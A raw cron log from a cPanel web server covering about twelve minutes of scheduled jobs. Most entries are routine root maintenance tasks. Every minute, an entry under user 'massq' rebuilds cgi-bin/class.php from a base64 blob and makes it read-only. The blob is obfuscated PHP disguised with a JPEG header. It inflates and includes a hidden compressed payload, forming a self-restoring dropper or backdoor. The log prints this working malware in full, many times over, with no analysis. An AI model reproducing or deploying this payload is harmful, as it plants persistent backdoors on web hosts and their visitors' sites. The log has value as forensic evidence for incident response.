Sep  8 17:52:01 server CROND[23885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:52:01 server CROND[23884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:53:01 server CROND[24266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:53:01 server CROND[24267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:53:01 server CROND[24268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:54:01 server CROND[24707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:54:01 server CROND[24708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:54:01 server CROND[24709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:55:01 server CROND[25135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:55:01 server CROND[25136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:55:01 server CROND[25134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:55:01 server CROND[25139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:55:01 server CROND[25138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:55:01 server CROND[25141]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:55:01 server CROND[25137]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:56:01 server CROND[25962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:56:01 server CROND[25963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:56:01 server CROND[25964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:57:01 server CROND[26342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:57:01 server CROND[26344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:57:01 server CROND[26343]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:57:01 server CROND[26345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:58:02 server CROND[26746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:58:02 server CROND[26747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:58:02 server CROND[26748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:59:01 server CROND[27167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:59:01 server CROND[27168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:59:01 server CROND[27169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:00:01 server CROND[27968]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:00:01 server CROND[27970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:00:01 server CROND[27973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:00:01 server CROND[27972]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:00:01 server CROND[27978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:00:01 server CROND[27977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:00:01 server CROND[27983]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 18:00:01 server CROND[27981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:00:01 server CROND[27980]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 18:00:01 server CROND[27985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:01:01 server CROND[28990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:01:01 server CROND[28991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:01:01 server CROND[28992]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 18:01:01 server CROND[28993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:01:01 server run-parts(/etc/cron.hourly)[28992]: starting 0anacron
Sep  8 18:01:01 server run-parts(/etc/cron.hourly)[29011]: finished 0anacron
Sep  8 18:02:01 server CROND[29386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:02:01 server CROND[29387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:02:01 server CROND[29388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:03:01 server CROND[29773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:03:01 server CROND[29774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:03:01 server CROND[29775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
